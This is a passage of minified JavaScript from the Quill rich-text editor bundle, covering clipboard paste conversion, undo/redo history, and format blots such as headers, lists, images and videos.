t&&(n=t),Array.isArray(t)||(t=this.observer.takeRecords()),t.length>0&&this.emitter.emit(d.default.events.SCROLL_BEFORE_UPDATE,n,t),c(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"update",this).call(this,t.concat([])),t.length>0&&this.emitter.emit(d.default.events.SCROLL_UPDATE,n,t)}}}]),e}(h.default.Scroll);x.blotName="scroll",x.className="ql-editor",x.tagName="DIV",x.defaultChild="block",x.allowedChildren=[v.default,y.BlockEmbed,w.default],e.default=x},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t,e,n){return e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t}function i(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function l(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function a(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}function s(t,e,n){return"object"===(void 0===e?"undefined":x(e))?Object.keys(e).reduce(function(t,n){return s(t,n,e[n])},t):t.reduce(function(t,r){return r.attributes&&r.attributes[e]?t.push(r):t.insert(r.insert,(0,j.default)({},o({},e,n),r.attributes))},new q.default)}function u(t){if(t.nodeType!==Node.ELEMENT_NODE)return{};return t["__ql-computed-style"]||(t["__ql-computed-style"]=window.getComputedStyle(t))}function c(t,e){for(var n="",r=t.ops.length-1;r>=0&&n.length<e.length;--r){var o=t.ops[r];if("string"!=typeof o.insert)break;n=o.insert+n}return n.slice(-1*e.length)===e}function f(t){return 0!==t.childNodes.length&&["block","list-item"].indexOf(u(t).display)>-1}function h(t,e,n){return t.nodeType===t.TEXT_NODE?n.reduce(function(e,n){return n(t,e)},new q.default):t.nodeType===t.ELEMENT_NODE?[].reduce.call(t.childNodes||[],function(r,o){var i=h(o,e,n);return o.nodeType===t.ELEMENT_NODE&&(i=e.reduce(function(t,e){return e(o,t)},i),i=(o[W]||[]).reduce(function(t,e){return e(o,t)},i)),r.concat(i)},new q.default):new q.default}function p(t,e,n){return s(n,t,!0)}function d(t,e){var n=P.default.Attributor.Attribute.keys(t),r=P.default.Attributor.Class.keys(t),o=P.default.Attributor.Style.keys(t),i={};return n.concat(r).concat(o).forEach(function(e){var n=P.default.query(e,P.default.Scope.ATTRIBUTE);null!=n&&(i[n.attrName]=n.value(t),i[n.attrName])||(n=Y[e],null==n||n.attrName!==e&&n.keyName!==e||(i[n.attrName]=n.value(t)||void 0),null==(n=X[e])||n.attrName!==e&&n.keyName!==e||(n=X[e],i[n.attrName]=n.value(t)||void 0))}),Object.keys(i).length>0&&(e=s(e,i)),e}function y(t,e){var n=P.default.query(t);if(null==n)return e;if(n.prototype instanceof P.default.Embed){var r={},o=n.value(t);null!=o&&(r[n.blotName]=o,e=(new q.default).insert(r,n.formats(t)))}else"function"==typeof n.formats&&(e=s(e,n.blotName,n.formats(t)));return e}function v(t,e){return c(e,"\n")||e.insert("\n"),e}function b(){return new q.default}function g(t,e){var n=P.default.query(t);if(null==n||"list-item"!==n.blotName||!c(e,"\n"))return e;for(var r=-1,o=t.parentNode;!o.classList.contains("ql-clipboard");)"list"===(P.default.query(o)||{}).blotName&&(r+=1),o=o.parentNode;return r<=0?e:e.compose((new q.default).retain(e.length()-1).retain(1,{indent:r}))}function m(t,e){return c(e,"\n")||(f(t)||e.length()>0&&t.nextSibling&&f(t.nextSibling))&&e.insert("\n"),e}function _(t,e){if(f(t)&&null!=t.nextElementSibling&&!c(e,"\n\n")){var n=t.offsetHeight+parseFloat(u(t).marginTop)+parseFloat(u(t).marginBottom);t.nextElementSibling.offsetTop>t.offsetTop+1.5*n&&e.insert("\n")}return e}function O(t,e){var n={},r=t.style||{};return r.fontStyle&&"italic"===u(t).fontStyle&&(n.italic=!0),r.fontWeight&&(u(t).fontWeight.startsWith("bold")||parseInt(u(t).fontWeight)>=700)&&(n.bold=!0),Object.keys(n).length>0&&(e=s(e,n)),parseFloat(r.textIndent||0)>0&&(e=(new q.default).insert("\t").concat(e)),e}function w(t,e){var n=t.data;if("O:P"===t.parentNode.tagName)return e.insert(n.trim());if(0===n.trim().length&&t.parentNode.classList.contains("ql-clipboard"))return e;if(!u(t.parentNode).whiteSpace.startsWith("pre")){var r=function(t,e){return e=e.replace(/[^\u00a0]/g,""),e.length<1&&t?" ":e};n=n.replace(/\r\n/g," ").replace(/\n/g," "),n=n.replace(/\s\s+/g,r.bind(r,!0)),(null==t.previousSibling&&f(t.parentNode)||null!=t.previousSibling&&f(t.previousSibling))&&(n=n.replace(/^\s+/,r.bind(r,!1))),(null==t.nextSibling&&f(t.parentNode)||null!=t.nextSibling&&f(t.nextSibling))&&(n=n.replace(/\s+$/,r.bind(r,!1)))}return e.insert(n)}Object.defineProperty(e,"__esModule",{value:!0}),e.matchText=e.matchSpacing=e.matchNewline=e.matchBlot=e.matchAttributor=e.default=void 0;var x="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},k=function(){function t(t,e){var n=[],r=!0,o=!1,i=void 0;try{for(var l,a=t[Symbol.iterator]();!(r=(l=a.next()).done)&&(n.push(l.value),!e||n.length!==e);r=!0);}catch(t){o=!0,i=t}finally{try{!r&&a.return&&a.return()}finally{if(o)throw i}}return n}return function(e,n){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,n);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),E=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),N=n(2),j=r(N),A=n(4),q=r(A),T=n(0),P=r(T),S=n(6),C=r(S),L=n(10),M=r(L),R=n(7),I=r(R),B=n(34),D=n(35),U=n(13),F=r(U),H=n(24),K=n(36),z=n(37),Z=n(38),V=(0,M.default)("quill:clipboard"),W="__ql-matcher",G=[[Node.TEXT_NODE,w],[Node.TEXT_NODE,m],["br",v],[Node.ELEMENT_NODE,m],[Node.ELEMENT_NODE,y],[Node.ELEMENT_NODE,_],[Node.ELEMENT_NODE,d],[Node.ELEMENT_NODE,O],["li",g],["b",p.bind(p,"bold")],["i",p.bind(p,"italic")],["style",b]],Y=[B.AlignAttribute,K.DirectionAttribute].reduce(function(t,e){return t[e.keyName]=e,t},{}),X=[B.AlignStyle,D.BackgroundStyle,H.ColorStyle,K.DirectionStyle,z.FontStyle,Z.SizeStyle].reduce(function(t,e){return t[e.keyName]=e,t},{}),$=function(t){function e(t,n){i(this,e);var r=l(this,(e.__proto__||Object.getPrototypeOf(e)).call(this,t,n));return r.quill.root.addEventListener("paste",r.onPaste.bind(r)),r.container=r.quill.addContainer("ql-clipboard"),r.container.setAttribute("contenteditable",!0),r.container.setAttribute("tabindex",-1),r.matchers=[],G.concat(r.options.matchers).forEach(function(t){var e=k(t,2),o=e[0],i=e[1];(n.matchVisual||i!==_)&&r.addMatcher(o,i)}),r}return a(e,t),E(e,[{key:"addMatcher",value:function(t,e){this.matchers.push([t,e])}},{key:"convert",value:function(t){if("string"==typeof t)return this.container.innerHTML=t.replace(/\>\r?\n +\</g,"><"),this.convert();var e=this.quill.getFormat(this.quill.selection.savedRange.index);if(e[F.default.blotName]){var n=this.container.innerText;return this.container.innerHTML="",(new q.default).insert(n,o({},F.default.blotName,e[F.default.blotName]))}var r=this.prepareMatching(),i=k(r,2),l=i[0],a=i[1],s=h(this.container,l,a);return c(s,"\n")&&null==s.ops[s.ops.length-1].attributes&&(s=s.compose((new q.default).retain(s.length()-1).delete(1))),V.log("convert",this.container.innerHTML,s),this.container.innerHTML="",s}},{key:"dangerouslyPasteHTML",value:function(t,e){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:C.default.sources.API;if("string"==typeof t)this.quill.setContents(this.convert(t),e),this.quill.setSelection(0,C.default.sources.SILENT);else{var r=this.convert(e);this.quill.updateContents((new q.default).retain(t).concat(r),n),this.quill.setSelection(t+r.length(),C.default.sources.SILENT)}}},{key:"onPaste",value:function(t){var e=this;if(!t.defaultPrevented&&this.quill.isEnabled()){var n=this.quill.getSelection(),r=(new q.default).retain(n.index),o=this.quill.scrollingContainer.scrollTop;this.container.focus(),this.quill.selection.update(C.default.sources.SILENT),setTimeout(function(){r=r.concat(e.convert()).delete(n.length),e.quill.updateContents(r,C.default.sources.USER),e.quill.setSelection(r.length()-n.length,C.default.sources.SILENT),e.quill.scrollingContainer.scrollTop=o,e.quill.focus()},1)}}},{key:"prepareMatching",value:function(){var t=this,e=[],n=[];return this.matchers.forEach(function(r){var o=k(r,2),i=o[0],l=o[1];switch(i){case Node.TEXT_NODE:n.push(l);break;case Node.ELEMENT_NODE:e.push(l);break;default:[].forEach.call(t.container.querySelectorAll(i),function(t){t[W]=t[W]||[],t[W].push(l)})}}),[e,n]}}]),e}(I.default);$.DEFAULTS={matchers:[],matchVisual:!0},e.default=$,e.matchAttributor=d,e.matchBlot=y,e.matchNewline=m,e.matchSpacing=_,e.matchText=w},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function l(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}function a(t){var e=t.ops[t.ops.length-1];return null!=e&&(null!=e.insert?"string"==typeof e.insert&&e.insert.endsWith("\n"):null!=e.attributes&&Object.keys(e.attributes).some(function(t){return null!=f.default.query(t,f.default.Scope.BLOCK)}))}function s(t){var e=t.reduce(function(t,e){return t+=e.delete||0},0),n=t.length()-e;return a(t)&&(n-=1),n}Object.defineProperty(e,"__esModule",{value:!0}),e.getLastChangeIndex=e.default=void 0;var u=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),c=n(0),f=r(c),h=n(6),p=r(h),d=n(7),y=r(d),v=function(t){function e(t,n){o(this,e);var r=i(this,(e.__proto__||Object.getPrototypeOf(e)).call(this,t,n));return r.lastRecorded=0,r.ignoreChange=!1,r.clear(),r.quill.on(p.default.events.EDITOR_CHANGE,function(t,e,n,o){t!==p.default.events.TEXT_CHANGE||r.ignoreChange||(r.options.userOnly&&o!==p.default.sources.USER?r.transform(e):r.record(e,n))}),r.quill.keyboard.addBinding({key:"Z",shortKey:!0},r.undo.bind(r)),r.quill.keyboard.addBinding({key:"Z",shortKey:!0,shiftKey:!0},r.redo.bind(r)),/Win/i.test(navigator.platform)&&r.quill.keyboard.addBinding({key:"Y",shortKey:!0},r.redo.bind(r)),r}return l(e,t),u(e,[{key:"change",value:function(t,e){if(0!==this.stack[t].length){var n=this.stack[t].pop();this.stack[e].push(n),this.lastRecorded=0,this.ignoreChange=!0,this.quill.updateContents(n[t],p.default.sources.USER),this.ignoreChange=!1;var r=s(n[t]);this.quill.setSelection(r)}}},{key:"clear",value:function(){this.stack={undo:[],redo:[]}}},{key:"cutoff",value:function(){this.lastRecorded=0}},{key:"record",value:function(t,e){if(0!==t.ops.length){this.stack.redo=[];var n=this.quill.getContents().diff(e),r=Date.now();if(this.lastRecorded+this.options.delay>r&&this.stack.undo.length>0){var o=this.stack.undo.pop();n=n.compose(o.undo),t=o.redo.compose(t)}else this.lastRecorded=r;this.stack.undo.push({redo:t,undo:n}),this.stack.undo.length>this.options.maxStack&&this.stack.undo.shift()}}},{key:"redo",value:function(){this.change("redo","undo")}},{key:"transform",value:function(t){this.stack.undo.forEach(function(e){e.undo=t.transform(e.undo,!0),e.redo=t.transform(e.redo,!0)}),this.stack.redo.forEach(function(e){e.undo=t.transform(e.undo,!0),e.redo=t.transform(e.redo,!0)})}},{key:"undo",value:function(){this.change("undo","redo")}}]),e}(y.default);v.DEFAULTS={delay:1e3,maxStack:100,userOnly:!1},e.default=v,e.getLastChangeIndex=s},function(t,e,n){"use strict";function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function i(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0}),e.IndentClass=void 0;var l=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),a=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},s=n(0),u=function(t){return t&&t.__esModule?t:{default:t}}(s),c=function(t){function e(){return r(this,e),o(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return i(e,t),l(e,[{key:"add",value:function(t,n){if("+1"===n||"-1"===n){var r=this.value(t)||0;n="+1"===n?r+1:r-1}return 0===n?(this.remove(t),!0):a(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"add",this).call(this,t,n)}},{key:"canAdd",value:function(t,n){return a(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"canAdd",this).call(this,t,n)||a(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"canAdd",this).call(this,t,parseInt(n))}},{key:"value",value:function(t){return parseInt(a(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"value",this).call(this,t))||void 0}}]),e}(u.default.Attributor.Class),f=new c("indent","ql-indent",{scope:u.default.Scope.BLOCK,whitelist:[1,2,3,4,5,6,7,8]});e.IndentClass=f},function(t,e,n){"use strict";function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function i(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0});var l=n(3),a=function(t){return t&&t.__esModule?t:{default:t}}(l),s=function(t){function e(){return r(this,e),o(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return i(e,t),e}(a.default);s.blotName="blockquote",s.tagName="blockquote",e.default=s},function(t,e,n){"use strict";function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function i(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0});var l=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),a=n(3),s=function(t){return t&&t.__esModule?t:{default:t}}(a),u=function(t){function e(){return r(this,e),o(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return i(e,t),l(e,null,[{key:"formats",value:function(t){return this.tagName.indexOf(t.tagName)+1}}]),e}(s.default);u.blotName="header",u.tagName=["H1","H2","H3","H4","H5","H6"],e.default=u},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t,e,n){return e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t}function i(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function l(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function a(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0}),e.default=e.ListItem=void 0;var s=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),u=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},c=n(0),f=r(c),h=n(3),p=r(h),d=n(23),y=r(d),v=function(t){function e(){return i(this,e),l(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return a(e,t),s(e,[{key:"format",value:function(t,n){t!==b.blotName||n?u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"format",this).call(this,t,n):this.replaceWith(f.default.create(this.statics.scope))}},{key:"remove",value:function(){null==this.prev&&null==this.next?this.parent.remove():u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"remove",this).call(this)}},{key:"replaceWith",value:function(t,n){return this.parent.isolate(this.offset(this.parent),this.length()),t===this.parent.statics.blotName?(this.parent.replaceWith(t,n),this):(this.parent.unwrap(),u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"replaceWith",this).call(this,t,n))}}],[{key:"formats",value:function(t){return t.tagName===this.tagName?void 0:u(e.__proto__||Object.getPrototypeOf(e),"formats",this).call(this,t)}}]),e}(p.default);v.blotName="list-item",v.tagName="LI";var b=function(t){function e(t){i(this,e);var n=l(this,(e.__proto__||Object.getPrototypeOf(e)).call(this,t)),r=function(e){if(e.target.parentNode===t){var r=n.statics.formats(t),o=f.default.find(e.target);"checked"===r?o.format("list","unchecked"):"unchecked"===r&&o.format("list","checked")}};return t.addEventListener("touchstart",r),t.addEventListener("mousedown",r),n}return a(e,t),s(e,null,[{key:"create",value:function(t){var n="ordered"===t?"OL":"UL",r=u(e.__proto__||Object.getPrototypeOf(e),"create",this).call(this,n);return"checked"!==t&&"unchecked"!==t||r.setAttribute("data-checked","checked"===t),r}},{key:"formats",value:function(t){return"OL"===t.tagName?"ordered":"UL"===t.tagName?t.hasAttribute("data-checked")?"true"===t.getAttribute("data-checked")?"checked":"unchecked":"bullet":void 0}}]),s(e,[{key:"format",value:function(t,e){this.children.length>0&&this.children.tail.format(t,e)}},{key:"formats",value:function(){return o({},this.statics.blotName,this.statics.formats(this.domNode))}},{key:"insertBefore",value:function(t,n){if(t instanceof v)u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"insertBefore",this).call(this,t,n);else{var r=null==n?this.length():n.offset(this),o=this.split(r);o.parent.insertBefore(t,o)}}},{key:"optimize",value:function(t){u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"optimize",this).call(this,t);var n=this.next;null!=n&&n.prev===this&&n.statics.blotName===this.statics.blotName&&n.domNode.tagName===this.domNode.tagName&&n.domNode.getAttribute("data-checked")===this.domNode.getAttribute("data-checked")&&(n.moveChildren(this),n.remove())}},{key:"replace",value:function(t){if(t.statics.blotName!==this.statics.blotName){var n=f.default.create(this.statics.defaultChild);t.moveChildren(n),this.appendChild(n)}u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"replace",this).call(this,t)}}]),e}(y.default);b.blotName="list",b.scope=f.default.Scope.BLOCK_BLOT,b.tagName=["OL","UL"],b.defaultChild="list-item",b.allowedChildren=[v],e.ListItem=v,e.default=b},function(t,e,n){"use strict";function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function i(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0});var l=n(39),a=function(t){return t&&t.__esModule?t:{default:t}}(l),s=function(t){function e(){return r(this,e),o(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return i(e,t),e}(a.default);s.blotName="italic",s.tagName=["EM","I"],e.default=s},function(t,e,n){"use strict";function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function i(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0});var l=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),a=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},s=n(5),u=function(t){return t&&t.__esModule?t:{default:t}}(s),c=function(t){function e(){return r(this,e),o(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return i(e,t),l(e,null,[{key:"create",value:function(t){return"super"===t?document.createElement("sup"):"sub"===t?document.createElement("sub"):a(e.__proto__||Object.getPrototypeOf(e),"create",this).call(this,t)}},{key:"formats",value:function(t){return"SUB"===t.tagName?"sub":"SUP"===t.tagName?"super":void 0}}]),e}(u.default);c.blotName="script",c.tagName=["SUB","SUP"],e.default=c},function(t,e,n){"use strict";function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function i(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0});var l=n(5),a=function(t){return t&&t.__esModule?t:{default:t}}(l),s=function(t){function e(){return r(this,e),o(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return i(e,t),e}(a.default);s.blotName="strike",s.tagName="S",e.default=s},function(t,e,n){"use strict";function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function i(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0});var l=n(5),a=function(t){return t&&t.__esModule?t:{default:t}}(l),s=function(t){function e(){return r(this,e),o(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return i(e,t),e}(a.default);s.blotName="underline",s.tagName="U",e.default=s},function(t,e,n){"use strict";function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function i(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0});var l=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),a=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},s=n(0),u=function(t){return t&&t.__esModule?t:{default:t}}(s),c=n(15),f=["alt","height","width"],h=function(t){function e(){return r(this,e),o(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return i(e,t),l(e,[{key:"format",value:function(t,n){f.indexOf(t)>-1?n?this.domNode.setAttribute(t,n):this.domNode.removeAttribute(t):a(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"format",this).call(this,t,n)}}],[{key:"create",value:function(t){var n=a(e.__proto__||Object.getPrototypeOf(e),"create",this).call(this,t);return"string"==typeof t&&n.setAttribute("src",this.sanitize(t)),n}},{key:"formats",value:function(t){return f.reduce(function(e,n){return t.hasAttribute(n)&&(e[n]=t.getAttribute(n)),e},{})}},{key:"match",value:function(t){return/\.(jpe?g|gif|png)$/.test(t)||/^data:image\/.+;base64/.test(t)}},{key:"sanitize",value:function(t){return(0,c.sanitize)(t,["http","https","data"])?t:"//:0"}},{key:"value",value:function(t){return t.getAttribute("src")}}]),e}(u.default.Embed);h.blotName="image",h.tagName="IMG",e.default=h},function(t,e,n){"use strict";function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function i(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0});var l=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),a=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},s=n(3),u=n(15),c=function(t){return t&&t.__esModule?t:{default:t}}(u),f=["height","width"],h=function(t){function e(){return r(this,e),o(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return i(e,t),l(e,[{key:"format",value:function(t,n){f.indexOf(t)>-1?n?this.domNode.setAttribute(t,n):this.domNode.removeAttribute(t):a(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"format",this).call(this,t,n)}}],[{key:"create",value:function(t){var n=a(e.__proto__||Object.getPrototypeOf(e),"create",this).call(this,t);return n.setAttribute("frameborder","0"),n.setAttribute("allowfullscreen",!0),n.setAttribute("src",this.sanitize(t)),n}},{key:"formats",value:function(t){return f.reduce(function(e,n){return t.hasAttribute(n)&&(e[n]=t.getAttribute(n)),e},{})}},{key:"sanitize",value:function(t){return c.default.sanitize(t)}},{key:"value",value:function(t){return t.getAttribute("src")}}]),e}(s.BlockEmbed);h.blotName="video",h.className="ql-video",h.tagName="IFRAME",e.default=h},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() 